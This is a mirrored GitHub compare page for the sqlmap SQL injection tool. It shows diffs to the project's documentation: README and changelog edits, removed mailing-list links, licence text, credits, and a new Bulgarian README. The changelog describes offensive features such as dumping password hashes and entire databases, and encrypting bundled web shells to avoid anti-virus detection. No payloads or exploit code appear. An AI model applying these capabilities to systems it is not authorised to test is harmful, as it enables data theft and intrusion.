mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2026-10-12 02:22:55 +00:00
Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
f1c102a020 | ||
|
|
834ea2d0d8 | ||
|
|
ae972de8fc | ||
|
|
62519eed04 | ||
|
|
222fd856fa | ||
|
|
db94d24db1 | ||
|
|
116c1c8b5c | ||
|
|
afc2a42383 | ||
|
|
44664dd7d6 | ||
|
|
35ba94b3a9 | ||
|
|
24c261d630 | ||
|
|
6a8ea0557c | ||
|
|
721bf4d243 | ||
|
|
e02ce4eb1f | ||
|
|
2f8e8a5f62 | ||
|
|
7de63a7efb | ||
|
|
12f802c70f | ||
|
|
96ffb4b911 | ||
|
|
93cb879e5d | ||
|
|
f67f26cebd | ||
|
|
942ac7733a | ||
|
|
2496db9d96 | ||
|
|
a3249019d9 | ||
|
|
96f80879ff | ||
|
|
96b9950f96 | ||
|
|
30ea219228 | ||
|
|
7c41bc57e7 | ||
|
|
e609bd04ad | ||
|
|
511f2a6d12 | ||
|
|
415ce05a2f | ||
|
|
06deda3223 | ||
|
|
d4170f11f0 | ||
|
|
cb2258fea4 | ||
|
|
c871cedae4 | ||
|
|
3e4130c5e6 | ||
|
|
a6c04a59cb | ||
|
|
53eb44304f | ||
|
|
400339a884 | ||
|
|
8b0c50f25d | ||
|
|
e42b63f51c | ||
|
|
b8f88a079a | ||
|
|
a761e1d165 | ||
|
|
5b6926ae05 | ||
|
|
e862da6d4e | ||
|
|
1ac0704c09 | ||
|
|
b6b51bea9d | ||
|
|
672abe8416 | ||
|
|
fac6712a35 | ||
|
|
68ee1f361b | ||
|
|
62ae149464 | ||
|
|
f071c8500c | ||
|
|
5745d650f8 | ||
|
|
de8ea53d46 | ||
|
|
23081f83db | ||
|
|
4d56a806e8 | ||
|
|
1745bac0ab | ||
|
|
0f9c81965b | ||
|
|
d12b65d38c | ||
|
|
38c70d9799 | ||
|
|
a9a744fec6 | ||
|
|
3c5ee552f0 | ||
|
|
8ca45695ab | ||
|
|
bf40526785 | ||
|
|
9b41efcbe1 | ||
|
|
36f3fd72e6 | ||
|
|
facc54f60b | ||
|
|
4c7da11331 | ||
|
|
e21f67715c | ||
|
|
e38267a61e | ||
|
|
7d147f613f | ||
|
|
591a60bbde | ||
|
|
3f40bf1101 | ||
|
|
d248317b89 | ||
|
|
75fd878242 | ||
|
|
30378c8ae3 | ||
|
|
c9b3b47d6f | ||
|
|
d038d027f9 | ||
|
|
c6577b80d9 | ||
|
|
4a4fa07bdd | ||
|
|
a4ebd5418f | ||
|
|
ba369b73d3 | ||
|
|
614f290217 | ||
|
|
1678b606a2 | ||
|
|
aef5d6667f | ||
|
|
b622c25f9d | ||
|
|
e07ff7168b | ||
|
|
ce48217ada | ||
|
|
b6969df52a | ||
|
|
0e728aa73e | ||
|
|
f93c19ba9d | ||
|
|
dd19527e9c | ||
|
|
a42ddad9c1 | ||
|
|
a2973296a2 | ||
|
|
0961f6a5e9 | ||
|
|
fae965f8b6 | ||
|
|
0d756a8823 | ||
|
|
8df4cc3983 | ||
|
|
5ec44b8346 | ||
|
|
d577c57a11 | ||
|
|
ca24509e19 | ||
|
|
e2d3187a78 | ||
|
|
b4980778dd | ||
|
|
71457fea0e | ||
|
|
34281af3f6 | ||
|
|
7dbbf3ecf5 | ||
|
|
c41c93a404 | ||
|
|
9a7343e9f7 | ||
|
|
e0401104f2 | ||
|
|
9da8d55128 | ||
|
|
864711b434 | ||
|
|
996ad59126 | ||
|
|
6d48df2454 | ||
|
|
55a43a837b | ||
|
|
455d41c6a0 | ||
|
|
eb26dd8984 | ||
|
|
0f34300221 | ||
|
|
93a875ec71 | ||
|
|
0edb4f6680 | ||
|
|
b9b5d07336 | ||
|
|
5f3235ef57 | ||
|
|
dfe42612be | ||
|
|
a0202f7bfd | ||
|
|
6dd9d5b2dd | ||
|
|
0864387885 | ||
|
|
359bfb2704 | ||
|
|
644ea2e3aa | ||
|
|
071132cd56 | ||
|
|
7a18dde2e0 | ||
|
|
e146763399 | ||
|
|
4ce08dcfa3 | ||
|
|
2ca5ddce5f | ||
|
|
addb2445b7 | ||
|
|
4736a525b8 | ||
|
|
d3a08a2d22 | ||
|
|
ee5b5cdcbc | ||
|
|
f3f2c81cec | ||
|
|
1e8df40981 | ||
|
|
389133654e | ||
|
|
347ce87e27 | ||
|
|
ff5a954980 | ||
|
|
1a8de2aee1 | ||
|
|
ab08273d82 | ||
|
|
fbb845ad7c | ||
|
|
15a1d55812 | ||
|
|
4643bd6517 | ||
|
|
1c5f01e2a2 | ||
|
|
ebbc68853d | ||
|
|
3140fd0ca6 | ||
|
|
5bcbf63ddb | ||
|
|
01fbda4bc9 | ||
|
|
ba22171a51 | ||
|
|
fc8eede952 | ||
|
|
c8a0c525fc | ||
|
|
46c7c28919 | ||
|
|
81e3395975 | ||
|
|
0340ecd38a | ||
|
|
2d05174545 | ||
|
|
5f2bb88037 | ||
|
|
65b02d4ab0 | ||
|
|
ea58d29e2c | ||
|
|
47e0fc36c7 | ||
|
|
7ebba5614a | ||
|
|
686f53a7c6 | ||
|
|
67a3e8cd75 | ||
|
|
d9a931f77a | ||
|
|
0e206da7c0 | ||
|
|
81e6dab965 | ||
|
|
a702dafd03 | ||
|
|
6b48f6ec26 | ||
|
|
06148cd610 | ||
|
|
36dfad192f | ||
|
|
9436c43306 | ||
|
|
c198fd7939 | ||
|
|
1e092c4e8d | ||
|
|
1e310631ab | ||
|
|
47ee1a991f | ||
|
|
9b3d229294 | ||
|
|
c74756c3bc | ||
|
|
1196a1b7f8 | ||
|
|
c2262eda1a | ||
|
|
02eacc32c1 | ||
|
|
b1a112f72c | ||
|
|
464caf056b | ||
|
|
44c85f8351 | ||
|
|
ad3283fd24 | ||
|
|
07208c45ef | ||
|
|
751f423ae0 | ||
|
|
c124086021 | ||
|
|
f285bc7459 | ||
|
|
b4c4d3f72a | ||
|
|
cfe34f61b8 | ||
|
|
c1c7ea33fe | ||
|
|
4458a443ef | ||
|
|
16bd3a1f02 | ||
|
|
a358bc0a38 | ||
|
|
aebae6e27b | ||
|
|
0a3e771b1b | ||
|
|
f82c0497fa | ||
|
|
715763885d | ||
|
|
4aae5d9a9d | ||
|
|
1bc583d358 | ||
|
|
e506a390db | ||
|
|
c5b4af8636 | ||
|
|
c29e47f72f | ||
|
|
4087213501 | ||
|
|
e4725366d3 | ||
|
|
60e8c725f9 | ||
|
|
5dba32b2e1 | ||
|
|
ef04c99069 | ||
|
|
e2fb16c98c | ||
|
|
d2b16c5c91 | ||
|
|
9f0c42dde0 | ||
|
|
78ca371162 | ||
|
|
a35c976759 | ||
|
|
89e9f4939d | ||
|
|
71984fc452 | ||
|
|
a0a6702a4e | ||
|
|
b18444f215 | ||
|
|
7ea524800a | ||
|
|
7960045cf9 | ||
|
|
d253a97a6f | ||
|
|
1475ba441c | ||
|
|
b2585cc8ea | ||
|
|
7b263327cc | ||
|
|
cd31bf4ecb | ||
|
|
1b938c758f | ||
|
|
5a08b71999 | ||
|
|
4b420e7579 | ||
|
|
6b580a682a | ||
|
|
d6e7c2acdc | ||
|
|
4d3aa1605c | ||
|
|
7fe1820ce4 | ||
|
|
98e449e38c | ||
|
|
9acf122ba6 | ||
|
|
2ed144ec85 | ||
|
|
ec0c103952 | ||
|
|
a35d1e5373 | ||
|
|
f5cf22a536 | ||
|
|
38f16decef | ||
|
|
15f86e85b1 | ||
|
|
5217efc69b | ||
|
|
03bbf552ef | ||
|
|
664684ad8f | ||
|
|
ddea0bf6e4 | ||
|
|
1c1f259df4 | ||
|
|
6249823335 | ||
|
|
bad3f80a1c | ||
|
|
529089ba5b | ||
|
|
9851a5703a | ||
|
|
aa9989ff90 | ||
|
|
2a3014b606 | ||
|
|
16d5e22b72 | ||
|
|
a8a6dce38b | ||
|
|
f542e828d2 | ||
|
|
cf182882b1 | ||
|
|
2224ac76aa | ||
|
|
dd5ac6f1e7 | ||
|
|
1e7a453ff6 | ||
|
|
8a84c252be | ||
|
|
138aa6db65 | ||
|
|
121f0376ea | ||
|
|
dfc684640a | ||
|
|
104fbc80af | ||
|
|
cadba37059 | ||
|
|
750d57ec96 | ||
|
|
9a86365d92 | ||
|
|
f794d9d5a5 | ||
|
|
c29db43bfa | ||
|
|
e0eeed0a96 |
@@ -1,6 +1,8 @@
|
|||||||
*.conf text eol=lf
|
*.conf text eol=lf
|
||||||
|
*.md text eol=lf
|
||||||
*.md5 text eol=lf
|
*.md5 text eol=lf
|
||||||
*.py text eol=lf
|
*.py text eol=lf
|
||||||
|
*.xml text eol=lf
|
||||||
|
|
||||||
*_ binary
|
*_ binary
|
||||||
*.dll binary
|
*.dll binary
|
||||||
|
|||||||
+2
-1
@@ -2,4 +2,5 @@
|
|||||||
output/
|
output/
|
||||||
.sqlmap_history
|
.sqlmap_history
|
||||||
traffic.txt
|
traffic.txt
|
||||||
*~
|
*~
|
||||||
|
.idea/
|
||||||
@@ -34,7 +34,7 @@ To get a list of all options and switches use:
|
|||||||
python sqlmap.py -hh
|
python sqlmap.py -hh
|
||||||
|
|
||||||
You can find a sample run [here](https://asciinema.org/a/46601).
|
You can find a sample run [here](https://asciinema.org/a/46601).
|
||||||
To get an overview of sqlmap capabilities, list of supported features and description of all options and switches, along with examples, you are advised to consult the [user's manual](https://github.com/sqlmapproject/sqlmap/wiki).
|
To get an overview of sqlmap capabilities, list of supported features and description of all options and switches, along with examples, you are advised to consult the [user's manual](https://github.com/sqlmapproject/sqlmap/wiki/Usage).
|
||||||
|
|
||||||
Links
|
Links
|
||||||
----
|
----
|
||||||
@@ -45,9 +45,6 @@ Links
|
|||||||
* Issue tracker: https://github.com/sqlmapproject/sqlmap/issues
|
* Issue tracker: https://github.com/sqlmapproject/sqlmap/issues
|
||||||
* User's manual: https://github.com/sqlmapproject/sqlmap/wiki
|
* User's manual: https://github.com/sqlmapproject/sqlmap/wiki
|
||||||
* Frequently Asked Questions (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
* Frequently Asked Questions (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||||
* Mailing list subscription: https://lists.sourceforge.net/lists/listinfo/sqlmap-users
|
|
||||||
* Mailing list RSS feed: http://rss.gmane.org/messages/complete/gmane.comp.security.sqlmap
|
|
||||||
* Mailing list archive: http://news.gmane.org/gmane.comp.security.sqlmap
|
|
||||||
* Twitter: [@sqlmap](https://twitter.com/sqlmap)
|
* Twitter: [@sqlmap](https://twitter.com/sqlmap)
|
||||||
* Demos: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos)
|
* Demos: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos)
|
||||||
* Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
* Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||||
@@ -55,6 +52,7 @@ Links
|
|||||||
Translations
|
Translations
|
||||||
----
|
----
|
||||||
|
|
||||||
|
* [Bulgarian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-bg-BG.md)
|
||||||
* [Chinese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-zh-CN.md)
|
* [Chinese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-zh-CN.md)
|
||||||
* [Croatian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-hr-HR.md)
|
* [Croatian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-hr-HR.md)
|
||||||
* [French](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-fr-FR.md)
|
* [French](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-fr-FR.md)
|
||||||
@@ -62,6 +60,7 @@ Translations
|
|||||||
* [Indonesian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-id-ID.md)
|
* [Indonesian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-id-ID.md)
|
||||||
* [Italian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-it-IT.md)
|
* [Italian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-it-IT.md)
|
||||||
* [Japanese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ja-JP.md)
|
* [Japanese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ja-JP.md)
|
||||||
|
* [Polish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pl-PL.md)
|
||||||
* [Portuguese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pt-BR.md)
|
* [Portuguese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pt-BR.md)
|
||||||
* [Spanish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-es-MX.md)
|
* [Spanish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-es-MX.md)
|
||||||
* [Turkish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-tr-TR.md)
|
* [Turkish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-tr-TR.md)
|
||||||
|
|||||||
+4
-4
@@ -83,7 +83,7 @@
|
|||||||
* Added option `--sql-file` for setting file(s) holding SQL statements to be executed (in case of stacked SQLi).
|
* Added option `--sql-file` for setting file(s) holding SQL statements to be executed (in case of stacked SQLi).
|
||||||
* Added switch `--sqlmap-shell` to turn on interactive sqlmap shell prompt.
|
* Added switch `--sqlmap-shell` to turn on interactive sqlmap shell prompt.
|
||||||
* Added option `--test-filter` for test filtration by payloads and/or titles (e.g. `ROW`).
|
* Added option `--test-filter` for test filtration by payloads and/or titles (e.g. `ROW`).
|
||||||
* Added option `--test-skip` for skiping tests by payloads and/or titles (e.g. `BENCHMARK`).
|
* Added option `--test-skip` for skipping tests by payloads and/or titles (e.g. `BENCHMARK`).
|
||||||
* Added switch `--titles` to turn on comparison of pages based only on their titles.
|
* Added switch `--titles` to turn on comparison of pages based only on their titles.
|
||||||
* Added option `--tor-port` to explicitly set Tor proxy port.
|
* Added option `--tor-port` to explicitly set Tor proxy port.
|
||||||
* Added option `--tor-type` to set Tor proxy type (`HTTP` (default), `SOCKS4` or `SOCKS5`).
|
* Added option `--tor-type` to set Tor proxy type (`HTTP` (default), `SOCKS4` or `SOCKS5`).
|
||||||
@@ -149,7 +149,7 @@
|
|||||||
* Major bugs fixed.
|
* Major bugs fixed.
|
||||||
* Cleanup of UDF source code repository, https://svn.sqlmap.org/sqlmap/trunk/sqlmap/extra/udfhack.
|
* Cleanup of UDF source code repository, https://svn.sqlmap.org/sqlmap/trunk/sqlmap/extra/udfhack.
|
||||||
* Major code cleanup.
|
* Major code cleanup.
|
||||||
* Added simple file encryption/compression utility, extra/cloak/cloak.py, used by sqlmap to decrypt on the fly Churrasco, UPX executable and web shells consequently reducing drastically the number of anti-virus softwares that mistakenly mark sqlmap as a malware.
|
* Added simple file encryption/compression utility, extra/cloak/cloak.py, used by sqlmap to decrypt on the fly Churrasco, UPX executable and web shells consequently reducing drastically the number of anti-virus software that mistakenly mark sqlmap as a malware.
|
||||||
* Updated user's manual.
|
* Updated user's manual.
|
||||||
* Created several demo videos, hosted on YouTube (http://www.youtube.com/user/inquisb) and linked from http://sqlmap.org/demo.html.
|
* Created several demo videos, hosted on YouTube (http://www.youtube.com/user/inquisb) and linked from http://sqlmap.org/demo.html.
|
||||||
|
|
||||||
@@ -302,7 +302,7 @@
|
|||||||
* Added support to extract database users password hash on Microsoft SQL Server;
|
* Added support to extract database users password hash on Microsoft SQL Server;
|
||||||
* Added a fuzzer function with the aim to parse HTML page looking for standard database error messages consequently improving database fingerprinting;
|
* Added a fuzzer function with the aim to parse HTML page looking for standard database error messages consequently improving database fingerprinting;
|
||||||
* Added support for SQL injection on HTTP Cookie and User-Agent headers;
|
* Added support for SQL injection on HTTP Cookie and User-Agent headers;
|
||||||
* Reviewed HTTP request library (lib/request.py) to support the extended inband SQL injection functionality. Splitted getValue() into getInband() and getBlind();
|
* Reviewed HTTP request library (lib/request.py) to support the extended inband SQL injection functionality. Split getValue() into getInband() and getBlind();
|
||||||
* Major enhancements in common library and added checkForBrackets() method to check if the bracket(s) are needed to perform a UNION query SQL injection attack;
|
* Major enhancements in common library and added checkForBrackets() method to check if the bracket(s) are needed to perform a UNION query SQL injection attack;
|
||||||
* Implemented `--dump-all` functionality to dump entire DBMS data from all databases tables;
|
* Implemented `--dump-all` functionality to dump entire DBMS data from all databases tables;
|
||||||
* Added support to exclude DBMS system databases' when enumeration tables and dumping their entries (`--exclude-sysdbs`);
|
* Added support to exclude DBMS system databases' when enumeration tables and dumping their entries (`--exclude-sysdbs`);
|
||||||
@@ -335,7 +335,7 @@
|
|||||||
* Added inband SQL injection (UNION query) support (`--union-use`);
|
* Added inband SQL injection (UNION query) support (`--union-use`);
|
||||||
* Complete code refactoring, a lot of minor and some major fixes in libraries, many minor improvements;
|
* Complete code refactoring, a lot of minor and some major fixes in libraries, many minor improvements;
|
||||||
* Reviewed the directory tree structure;
|
* Reviewed the directory tree structure;
|
||||||
* Splitted lib/common.py: inband injection functionalities now are moved to lib/union.py;
|
* Split lib/common.py: inband injection functionalities now are moved to lib/union.py;
|
||||||
* Updated documentation files.
|
* Updated documentation files.
|
||||||
|
|
||||||
# Version 0.3 (2007-01-20)
|
# Version 0.3 (2007-01-20)
|
||||||
|
|||||||
+37
-38
@@ -1,38 +1,37 @@
|
|||||||
# Contributing to sqlmap
|
# Contributing to sqlmap
|
||||||
|
|
||||||
## Reporting bugs
|
## Reporting bugs
|
||||||
|
|
||||||
**Bug reports are welcome**!
|
**Bug reports are welcome**!
|
||||||
Please report all bugs on the [issue tracker](https://github.com/sqlmapproject/sqlmap/issues).
|
Please report all bugs on the [issue tracker](https://github.com/sqlmapproject/sqlmap/issues).
|
||||||
|
|
||||||
### Guidelines
|
### Guidelines
|
||||||
|
|
||||||
* Before you submit a bug report, search both [open](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aopen+is%3Aissue) and [closed](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) issues to make sure the issue has not come up before. Also, check the [user's manual](https://github.com/sqlmapproject/sqlmap/wiki) for anything relevant.
|
* Before you submit a bug report, search both [open](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aopen+is%3Aissue) and [closed](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) issues to make sure the issue has not come up before. Also, check the [user's manual](https://github.com/sqlmapproject/sqlmap/wiki) for anything relevant.
|
||||||
* Make sure you can reproduce the bug with the latest development version of sqlmap.
|
* Make sure you can reproduce the bug with the latest development version of sqlmap.
|
||||||
* Your report should give detailed instructions on how to reproduce the problem. If sqlmap raises an unhandled exception, the entire traceback is needed. Details of the unexpected behaviour are welcome too. A small test case (just a few lines) is ideal.
|
* Your report should give detailed instructions on how to reproduce the problem. If sqlmap raises an unhandled exception, the entire traceback is needed. Details of the unexpected behaviour are welcome too. A small test case (just a few lines) is ideal.
|
||||||
* If you are making an enhancement request, lay out the rationale for the feature you are requesting. *Why would this feature be useful?*
|
* If you are making an enhancement request, lay out the rationale for the feature you are requesting. *Why would this feature be useful?*
|
||||||
* If you are not sure whether something is a bug, or want to discuss a potential new feature before putting in an enhancement request, the [mailing list](https://lists.sourceforge.net/lists/listinfo/sqlmap-users) is a good place to bring it up.
|
|
||||||
|
## Submitting code changes
|
||||||
## Submitting code changes
|
|
||||||
|
All code contributions are greatly appreciated. First off, clone the [Git repository](https://github.com/sqlmapproject/sqlmap), read the [user's manual](https://github.com/sqlmapproject/sqlmap/wiki) carefully, go through the code yourself and [drop us an email](mailto:[email protected]) if you are having a hard time grasping its structure and meaning. We apologize for not commenting the code enough - you could take a chance to read it through and [improve it](https://github.com/sqlmapproject/sqlmap/issues/37).
|
||||||
All code contributions are greatly appreciated. First off, clone the [Git repository](https://github.com/sqlmapproject/sqlmap), read the [user's manual](https://github.com/sqlmapproject/sqlmap/wiki) carefully, go through the code yourself and [drop us an email](mailto:[email protected]) if you are having a hard time grasping its structure and meaning. We apologize for not commenting the code enough - you could take a chance to read it through and [improve it](https://github.com/sqlmapproject/sqlmap/issues/37).
|
|
||||||
|
Our preferred method of patch submission is via a Git [pull request](https://help.github.com/articles/using-pull-requests).
|
||||||
Our preferred method of patch submission is via a Git [pull request](https://help.github.com/articles/using-pull-requests).
|
Many [people](https://raw.github.com/sqlmapproject/sqlmap/master/doc/THANKS.md) have contributed in different ways to the sqlmap development. **You** can be the next!
|
||||||
Many [people](https://raw.github.com/sqlmapproject/sqlmap/master/doc/THANKS.md) have contributed in different ways to the sqlmap development. **You** can be the next!
|
|
||||||
|
### Guidelines
|
||||||
### Guidelines
|
|
||||||
|
In order to maintain consistency and readability throughout the code, we ask that you adhere to the following instructions:
|
||||||
In order to maintain consistency and readability throughout the code, we ask that you adhere to the following instructions:
|
|
||||||
|
* Each patch should make one logical change.
|
||||||
* Each patch should make one logical change.
|
* Wrap code to 76 columns when possible.
|
||||||
* Wrap code to 76 columns when possible.
|
* Avoid tabbing, use four blank spaces instead.
|
||||||
* Avoid tabbing, use four blank spaces instead.
|
* Before you put time into a non-trivial patch, it is worth discussing it privately by [email](mailto:[email protected]).
|
||||||
* Before you put time into a non-trivial patch, it is worth discussing it on the [mailing list](https://lists.sourceforge.net/lists/listinfo/sqlmap-users) or privately by [email](mailto:[email protected]).
|
* Do not change style on numerous files in one single pull request, we can [discuss](mailto:[email protected]) about those before doing any major restyling, but be sure that personal preferences not having a strong support in [PEP 8](http://www.python.org/dev/peps/pep-0008/) will likely to be rejected.
|
||||||
* Do not change style on numerous files in one single pull request, we can [discuss](mailto:[email protected]) about those before doing any major restyling, but be sure that personal preferences not having a strong support in [PEP 8](http://www.python.org/dev/peps/pep-0008/) will likely to be rejected.
|
* Make changes on less than five files per single pull request - there is rarely a good reason to have more than five files changed on one pull request, as this dramatically increases the review time required to land (commit) any of those pull requests.
|
||||||
* Make changes on less than five files per single pull request - there is rarely a good reason to have more than five files changed on one pull request, as this dramatically increases the review time required to land (commit) any of those pull requests.
|
* Style that is too different from main branch will be ''adapted'' by the developers side.
|
||||||
* Style that is too different from main branch will be ''adapted'' by the developers side.
|
* Do not touch anything inside `thirdparty/` and `extra/` folders.
|
||||||
* Do not touch anything inside `thirdparty/` and `extra/` folders.
|
|
||||||
|
### Licensing
|
||||||
### Licensing
|
|
||||||
|
By submitting code contributions to the sqlmap developers or via Git pull request, checking them into the sqlmap source code repository, it is understood (unless you specify otherwise) that you are offering the sqlmap copyright holders the unlimited, non-exclusive right to reuse, modify, and relicense the code. This is important because the inability to relicense code has caused devastating problems for other software projects (such as KDE and NASM). If you wish to specify special license conditions of your contributions, just say so when you send them.
|
||||||
By submitting code contributions to the sqlmap developers, to the mailing list, or via Git pull request, checking them into the sqlmap source code repository, it is understood (unless you specify otherwise) that you are offering the sqlmap copyright holders the unlimited, non-exclusive right to reuse, modify, and relicense the code. This is important because the inability to relicense code has caused devastating problems for other software projects (such as KDE and NASM). If you wish to specify special license conditions of your contributions, just say so when you send them.
|
|
||||||
|
|||||||
+8
-9
@@ -46,14 +46,14 @@ to know exactly what a program is going to do before they run it.
|
|||||||
Source code also allows you to fix bugs and add new features. You are
|
Source code also allows you to fix bugs and add new features. You are
|
||||||
highly encouraged to send your changes to [email protected] for possible
|
highly encouraged to send your changes to [email protected] for possible
|
||||||
incorporation into the main distribution. By sending these changes to the
|
incorporation into the main distribution. By sending these changes to the
|
||||||
sqlmap developers, to the mailing lists, or via Git pull request, checking
|
sqlmap developers or via Git pull request, checking them into the sqlmap
|
||||||
them into the sqlmap source code repository, it is understood (unless you
|
source code repository, it is understood (unless you specify otherwise)
|
||||||
specify otherwise) that you are offering the sqlmap project the unlimited,
|
that you are offering the sqlmap project the unlimited, non-exclusive
|
||||||
non-exclusive right to reuse, modify, and relicense the code. sqlmap will
|
right to reuse, modify, and relicense the code. sqlmap will always be
|
||||||
always be available Open Source, but this is important because the
|
available Open Source, but this is important because the inability to
|
||||||
inability to relicense code has caused devastating problems for other Free
|
relicense code has caused devastating problems for other Free Software
|
||||||
Software projects (such as KDE and NASM). If you wish to specify special
|
projects (such as KDE and NASM). If you wish to specify special license
|
||||||
license conditions of your contributions, just say so when you send them.
|
conditions of your contributions, just say so when you send them.
|
||||||
|
|
||||||
This program is distributed in the hope that it will be useful, but
|
This program is distributed in the hope that it will be useful, but
|
||||||
WITHOUT ANY WARRANTY; without even the implied warranty of
|
WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
@@ -361,7 +361,6 @@ This license does not apply to the following components:
|
|||||||
* The MultipartPost library located under thirdparty/multipartpost/.
|
* The MultipartPost library located under thirdparty/multipartpost/.
|
||||||
* The Odict library located under thirdparty/odict/.
|
* The Odict library located under thirdparty/odict/.
|
||||||
* The Oset library located under thirdparty/oset/.
|
* The Oset library located under thirdparty/oset/.
|
||||||
* The PageRank library located under thirdparty/pagerank/.
|
|
||||||
* The PrettyPrint library located under thirdparty/prettyprint/.
|
* The PrettyPrint library located under thirdparty/prettyprint/.
|
||||||
* The PyDes library located under thirdparty/pydes/.
|
* The PyDes library located under thirdparty/pydes/.
|
||||||
* The SocksiPy library located under thirdparty/socks/.
|
* The SocksiPy library located under thirdparty/socks/.
|
||||||
|
|||||||
+2
-2
@@ -139,7 +139,7 @@ Jim Forster, <jimforster(at)goldenwest.com>
|
|||||||
* for reporting a bug
|
* for reporting a bug
|
||||||
|
|
||||||
Rong-En Fan, <rafan(at)freebsd.org>
|
Rong-En Fan, <rafan(at)freebsd.org>
|
||||||
* for commiting the sqlmap 0.5 port to the official FreeBSD project repository
|
* for committing the sqlmap 0.5 port to the official FreeBSD project repository
|
||||||
|
|
||||||
Giorgio Fedon, <giorgio.fedon(at)gmail.com>
|
Giorgio Fedon, <giorgio.fedon(at)gmail.com>
|
||||||
* for suggesting a speed improvement for bisection algorithm
|
* for suggesting a speed improvement for bisection algorithm
|
||||||
@@ -562,7 +562,7 @@ Kazim Bugra Tombul, <mhackmail(at)gmail.com>
|
|||||||
* for reporting a minor bug
|
* for reporting a minor bug
|
||||||
|
|
||||||
Efrain Torres, <et(at)metasploit.com>
|
Efrain Torres, <et(at)metasploit.com>
|
||||||
* for helping out to improve the Metasploit Framework sqlmap auxiliary module and for commiting it on the Metasploit official subversion repository
|
* for helping out to improve the Metasploit Framework sqlmap auxiliary module and for committing it on the Metasploit official subversion repository
|
||||||
* for his great Metasploit WMAP Framework
|
* for his great Metasploit WMAP Framework
|
||||||
|
|
||||||
Sandro Tosi, <matrixhasu(at)gmail.com>
|
Sandro Tosi, <matrixhasu(at)gmail.com>
|
||||||
|
|||||||
@@ -281,8 +281,6 @@ be bound by the terms and conditions of this License Agreement.
|
|||||||
|
|
||||||
* The bottle web framework library located under thirdparty/bottle/.
|
* The bottle web framework library located under thirdparty/bottle/.
|
||||||
Copyright (C) 2012, Marcel Hellkamp.
|
Copyright (C) 2012, Marcel Hellkamp.
|
||||||
* The PageRank library located under thirdparty/pagerank/.
|
|
||||||
Copyright (C) 2010, Corey Goldberg.
|
|
||||||
* The Termcolor library located under thirdparty/termcolor/.
|
* The Termcolor library located under thirdparty/termcolor/.
|
||||||
Copyright (C) 2008-2011, Volvox Development Team.
|
Copyright (C) 2008-2011, Volvox Development Team.
|
||||||
|
|
||||||
|
|||||||
@@ -0,0 +1,50 @@
|
|||||||
|
# sqlmap
|
||||||
|
|
||||||
|
[](https://api.travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/doc/COPYING) [](https://twitter.com/sqlmap)
|
||||||
|
|
||||||
|
sqlmap e инструмент за тестване и проникване, с отворен код, който автоматизира процеса на откриване и използване на недостатъците на SQL база данните чрез SQL инжекция, която ги взима от сървъра. Снабден е с мощен детектор, множество специални функции за най-добрия тестер и широк спектър от функции, които могат да се използват за множество цели - извличане на данни от базата данни, достъп до основната файлова система и изпълняване на команди на операционната система.
|
||||||
|
|
||||||
|
Демо снимки
|
||||||
|
----
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
Можете да посетите [колекцията от снимки на екрана](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots), показващи някои функции, качени на wiki.
|
||||||
|
|
||||||
|
Инсталиране
|
||||||
|
----
|
||||||
|
|
||||||
|
Може да изтеглине най-новите tar архиви като кликнете [тук](https://github.com/sqlmapproject/sqlmap/tarball/master) или най-новите zip архиви като кликнете [тук](https://github.com/sqlmapproject/sqlmap/zipball/master).
|
||||||
|
|
||||||
|
За предпочитане е да изтеглите sqlmap като клонирате [Git](https://github.com/sqlmapproject/sqlmap) хранилището:
|
||||||
|
|
||||||
|
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
||||||
|
|
||||||
|
sqlmap работи самостоятелно с [Python](http://www.python.org/download/) версия **2.6.x** и **2.7.x** на всички платформи.
|
||||||
|
|
||||||
|
Използване
|
||||||
|
----
|
||||||
|
|
||||||
|
За да получите списък с основните опции използвайте:
|
||||||
|
|
||||||
|
python sqlmap.py -h
|
||||||
|
|
||||||
|
За да получите списък с всички опции използвайте:
|
||||||
|
|
||||||
|
python sqlmap.py -hh
|
||||||
|
|
||||||
|
Може да намерите пример за използване на sqlmap [тук](https://asciinema.org/a/46601).
|
||||||
|
За да разберете възможностите на sqlmap, списък на поддържаните функции и описание на всички опции, заедно с примери, се препоръчва да се разгледа [упътването](https://github.com/sqlmapproject/sqlmap/wiki/Usage).
|
||||||
|
|
||||||
|
Връзки
|
||||||
|
----
|
||||||
|
|
